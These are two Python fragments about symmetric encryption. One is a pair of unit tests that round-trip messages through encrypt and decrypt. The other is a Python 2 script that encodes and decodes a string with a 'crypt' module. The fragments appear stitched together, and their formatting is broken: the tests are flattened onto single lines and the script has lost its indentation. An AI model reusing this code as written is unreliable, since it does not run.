def test1(self): message = 'message1' secret = 'secret1' encrypted = encrypt(message, secret) decrypted = decrypt(encrypted, secret) self.assertTrue(message == decrypted)
def test2(self): message = '1:<&6df(86};;<sdfh9+_)(*":]' secret = 'la3^*2)**&<;:' encrypted = encrypt(message, secret) decrypted = decrypt(encrypted, secret) self.assertTrue(message == decrypted)
#!/usr/bin/env python
# coding=utf-8
import crypt
if __name__ == "__main__":
name = "abcdefg"
print "Before : %s " % name
encode = crypt.encrypt(name)
print "encode : %s " % encode
decode = crypt.decrypt(encode)
print "decode : %s " % decode
